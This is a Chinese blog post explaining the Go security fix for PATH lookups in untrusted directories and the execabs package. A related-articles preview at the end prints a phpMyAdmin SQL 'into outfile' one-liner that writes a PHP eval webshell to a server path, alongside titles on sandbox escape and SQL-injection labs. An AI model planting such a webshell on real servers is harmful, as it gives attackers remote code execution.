2021年1月19日 Go生态洞察:Go命令行路径安全性的提升

news2025/1/24 18:02:40

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁

🦄 博客首页——🐅🐾猫头虎的博客🎐
🐳 《面试题大全专栏》 🦕 文章图文并茂🦖生动形象🐅简单易学!欢迎大家来踩踩~🌺
🌊 《IDEA开发秘籍专栏》 🐾 学会IDEA常用操作,工作效率翻倍~💐
🌊 《100天精通Golang(基础入门篇)》 🐅 学会Golang语言,畅玩云原生,走遍大小厂~💐

🐅🐾猫头虎建议Go程序员必备技术栈一览表📖:

☁️🐳 Go语言开发者必备技术栈☸️:
🐹 GoLang | 🌿 Git | 🐳 Docker | ☸️ Kubernetes | 🔧 CI/CD | ✅ Testing | 💾 SQL/NoSQL | 📡 gRPC | ☁️ Cloud | 📊 Prometheus | 📚 ELK Stack


🪁🍁 希望本文能够给您带来一定的帮助🌸文章粗浅,敬请批评指正!🐅🐾🍁🐥


在这里插入图片描述

文章目录

    • 🐅🐾猫头虎建议Go程序员必备技术栈一览表📖:
  • 2021年1月19日 Go生态洞察:Go命令行路径安全性的提升
    • 📚 摘要
    • 🌟 引言
    • 🚀 正文内容
      • 🛡️ Go命令与远程执行的问题
      • 🌐 命令、PATH和Go
      • 🐛 漏洞的细节
      • 🛠️ 修复措施
      • 🛡️ 如何确定自己的程序是否受影响
      • 🔄 通过`golang.org/x/sys/execabs`保护你的程序
    • 📈 总结知识要点
    • 🎓 总结
    • 🔮 下一篇预告
  • 原创声明

  • 原创作者: 猫头虎

  • 作者wx: Libin9iOak

  • 作者公众号: 猫头虎技术团队

在这里插入图片描述

2021年1月19日 Go生态洞察:Go命令行路径安全性的提升

📚 摘要

大家好,猫头虎博主带你深入探索Go的世界!今天的主题是关于最近Go安全更新所解决的关键问题:在不受信任的目录中进行PATH查找,这可能在执行go get命令时导致远程执行。这篇博客将详细介绍这个漏洞,Go团队是如何修复它的,以及你如何确定自己的程序是否也存在类似的安全隐患。

🌟 引言

在软件开发中,安全永远是首要任务。Go的最新安全更新解决了一个关于PATH查找的重要问题,这个问题可能导致在某些条件下执行远程代码。理解这个问题的本质,以及它如何影响Go程序,对于每个Go开发者来说都是至关重要的。

🚀 正文内容

🛡️ Go命令与远程执行的问题

Go命令的一个设计目标是大多数命令(包括go buildgo docgo getgo installgo list)不运行从互联网下载的任意代码。但go rungo testgo generate显然是个例外。所以,当go get被欺骗执行任意代码时,我们认为这是一个安全漏洞。

🌐 命令、PATH和Go

所有操作系统都有一个可执行路径的概念(Unix上的$PATH,Windows上的%PATH%),这是一个目录列表。当你在shell提示符下输入一个命令时,shell会依次在列表中的每个目录中查找具有你输入的名称的可执行文件。它运行找到的第一个文件,或者打印出如“command not found”之类的信息。

🐛 漏洞的细节

go get下载并构建包含import "C"的包时,它运行名为cgo的程序来准备相关C代码的Go等价物。go命令在包含包源代码的目录中运行cgo。一旦cgo生成了其Go输出文件,go命令本身调用Go编译器处理生成的Go文件,并调用主机C编译器(如gccclang)来构建与包一起提供的任何C源文件。但问题在于go命令如何找到主机C编译器?它在PATH中查找。

🛠️ 修复措施

为了解决这个问题,Go团队采取了两步策略。首先,go命令现在会向cgo传递完整的主机C编译器路径。其次,cgogo和Go发行版中的其他所有命令现在使用os/exec包的一个变体,该变体会报告错误,如果以前会使用来自当前目录(dot)的可执行文件。

🛡️ 如何确定自己的程序是否受影响

如果你在自己的程序中使用exec.LookPathexec.Command,只有在运行程序的目录包含不受信任内容时才需要担心。在这种情况下,子进程可能会使用来自当前目录而不是系统目录的可执行文件启动。

🔄 通过golang.org/x/sys/execabs保护你的程序

如果你担心自己的程序可能受到类似的影响,可以使用[golang.org/x/sys/execabs](https://

pkg.go.dev/golang.org/x/sys/execabs)包来增加安全性。你只需要在程序中将

import "os/exec"

替换为

import exec "golang.org/x/sys/execabs"

并重新编译程序。

📈 总结知识要点

要点说明
Go命令与安全问题go get被欺骗执行任意代码被视为安全漏洞
PATH查找问题漏洞涉及Go和其他程序如何找到可执行文件
解决方案go命令现在向cgo传递完整的C编译器路径,并修改os/exec
检查自己的程序使用golang.org/x/sys/execabs来增强安全性
默认保护os/exec讨论更改Windows上exec.Commandexec.LookPath的默认行为

🎓 总结

这篇文章已被猫头虎的Go生态洞察专栏收录,详情点击这里。

🔮 下一篇预告

下一篇文章我们将聚焦于《Gopls默认启用于VS Code Go扩展》,深入了解如何通过Gopls优化Go语言在VS Code中的开发体验。敬请期待!

在这里插入图片描述

原创声明

======= ·

  • 原创作者: 猫头虎

  • 作者wx: Libin9iOak
    在这里插入图片描述

  • 作者公众号: 猫头虎技术团队

在这里插入图片描述

学习复习Go生态

本文为原创文章,版权归作者所有。未经许可,禁止转载、复制或引用。

作者保证信息真实可靠,但不对准确性和完整性承担责任

未经许可,禁止商业用途。

如有疑问或建议,请联系作者。

感谢您的支持与尊重。

点击下方名片,加入IT技术核心学习团队。一起探索科技的未来,洞察Go生态,共同成长。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1268167.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

freertos任务调度机制深度分析(以RISC-V架构为例)

1、前言 本文是以RISC-V架构为例进行讲解,在汇编代码层面和ARM架构不一样,但是整体框架是一样的侧重任务调度底层机制讲解,讲解代码只保留了基本功能,可配置的功能基本都已经删除本文是以可抢占式调度机制进行讲解RISC-V架构只支持…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

WSDM 2024 | LLMs辅助基于内容的推荐系统增强BPR训练数据

本文提出了一种简单而有效的基于LLMs的图数据增强策略&#xff0c;称为LLMRec&#xff0c;以增强基于内容的推荐系统。LLMRec包含三种数据增强策略和两种去噪策略。数据增强策略包括从文本自然语言的角度挖掘潜在的协同信号, 构建用户画像(LLM-based), 并强化item side informa…

JavaScript 特殊数据类型

JavaScript 特殊数据类型 目录 JavaScript 特殊数据类型 一、空值&#xff08;null型&#xff09; 二、未定义值&#xff08;undefined型&#xff09; 三、转义字符 JavaScript的特殊数据类型有3种&#xff1a; &#xff08;1&#xff09;空值&#xff08;null型&#xf…

【hacker送书第6期】深入理解Java核心技术

第6期图书推荐 内容简介作者简介精彩书评参与方式 内容简介 《深入理解Java核心技术&#xff1a;写给Java工程师的干货笔记&#xff08;基础篇&#xff09;》是《Java工程师成神之路》系列的第一本&#xff0c;主要聚焦于Java开发者必备的Java核心基础知识。全书共23章&#xf…

Go语言基础:包、函数、语句和注释解析

一个 Go 文件包含以下几个部分&#xff1a; 包声明导入包函数语句和表达式 看下面的代码&#xff0c;更好地理解它&#xff1a; 例子 package mainimport "fmt"func main() { fmt.Println("Hello World!") }例子解释 第 1 行&#xff1a; 在 Go 中&am…

nodejs 沙盒逃逸

1.[GFCTF 2021]ez_calc 一道很有意思的一道nodejs的题 沙箱逃逸和绕过&#xff1a; F12 看源码 if(req.body.username.toLowerCase() ! admin && req.body.username.toUpperCase() ADMIN && req.body.passwd admin123){ // 登录成功&am…

sqli-labs靶场详解(less32-less37)

宽字节注入 原理在下方 目录 less-32 less-33 less-34 less-35 less-36 less-37 less-32 正常页面 ?id1 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\ ?id1 看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字…

顺丰JAVA开发一面—面试实战经验分析【已通过】

文章目录 面试总结面试开始项目相关基础知识反问环节 顺丰JAVA开发一面面试过程中的问题确实涵盖了很多方面&#xff0c;从项目架构到基础知识再到具体技术细节都有所涉及。 面试官的提问风格也是比较开放的&#xff0c;注重考察面试者的深度理解和解决问题的能力。以下是对每个…

彩虹云商城搭建教程+源码程序

前言&#xff1a;域名服务器或宝塔主机商场程序在线云商城 随着电子商务的快速发展&#xff0c;越来越多的企业开始意识到开设一个自己的电子商城对于销售和品牌推广的重要性。然而&#xff0c;选择一家合适的网站搭建平台和正确地构建一个商城网站并不是一件容易的事情。本文…

基于Qt MP3音频播放器示例(可制作音频播放器)

​本次MP3文件也给出来,方便大家调试。话不多说直接上源码。 整个项目下载地址:CSDN:GetCode 昵称-》Qt魔术师:https://gitcode.com/m0_45463480/QtMP3/tree/main## .pro # 指定项目类型为应用程序。TEMPLATE = app# 指定项目的名称为musicplayerTARGET = musicplayer# 添…

八、hdfs文件系统副本块数量的配置

1、配置方式 2、实际操作演示 &#xff08;1&#xff09;在Hadoop用户的根目录下创建text.txt文件 &#xff08;2&#xff09;上传文件 hadoopnode1:~$ hdfs dfs -ls hdfs://node1:8020/ Found 4 items drwxr-xr-x - hadoop supergroup 0 2023-11-21 23:06 hdfs:/…

手势识别4:C/C++实现手部检测和手势识别(含源码下载)

手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 目录 手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 1. 前言 2. 手势识别模型&#xff08;YOLOv5&#xff09; &#xff08;1&#xff09;手势识别模型训练 &#xff08;2&#xff09;将Pyto…

Java 最全面试总结——3.多线程篇

1、说说Java中实现多线程有几种方法 创建线程的常用三种方式&#xff1a; 继承Thread类实现Runnable接口实现Callable接口&#xff08; JDK1.5> &#xff09;线程池方式创建 通过继承Thread类或者实现Runnable接口、Callable接口都可以实现多线程&#xff0c;不过实现Run…

基于合成数据的行人检测AI模型训练

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 近年来&#xff0c;自动驾驶汽车因其对社会的广泛影响而越来越受欢迎&#xff0c;因为它们提高…

乱序学机器学习——主成分分析法PCA

文章目录 概览PCA核心思想和原理PCA求解算法PCA算法代码实现降维任务代码实现PCA在数据降噪中的应用PCA在人脸识别中的应用主成分分析优缺点和适用条件优点缺点适用条件 概览 PCA核心思想和原理 PCA求解算法 特征向量表示分布的方向&#xff0c;特征值表示沿着个方向分布的程度…

自动锁螺丝机配件直线模组的作用

直线模组的应用非常广泛&#xff0c;在各种需要高精度、高效率的自动化直线运动的场合都有应用&#xff0c;尤其是在自动锁螺丝机中&#xff0c;起着关键性作用。 1、提供精确的定位和导向&#xff1a;在自动锁螺丝机中&#xff0c;螺丝的拧紧和输送都需要精确控制&#xff0c;…

SpringCloudSleuth+Zipkin 整合及关键包汇总

背景 整合了一下 SpringCloudSleuth Zipkin&#xff0c;本来是很简单的东西&#xff0c;但是最终导出依赖包时没注意&#xff0c;导致目标服务上始终没有纳入 Zipkin 的链路追踪中&#xff0c;本文记录这个过程及关键依赖包。 部署zipkin 官网下载最新的 zipkin 可执行包&a…

Java高级技术(反射的作用与应用场景)

一&#xff0c;放射 二&#xff0c;案例 &#xff08;1&#xff09;&#xff0c;题目 &#xff08;2&#xff09;&#xff0c;反射类 &#xff08;3&#xff09;&#xff0c;测试类

JavaScript编程进阶 – Return语句

JavaScript编程进阶 – Return语句 JavaScript Programming Advanced – Return Statement By JacksonML 就像人们习惯的函数一样&#xff0c;总觉得在函数体最后需要一个return语句&#xff0c;标志着函数的结束,就像下面这个函数 theFunc() 那样。 function theFunc() { re…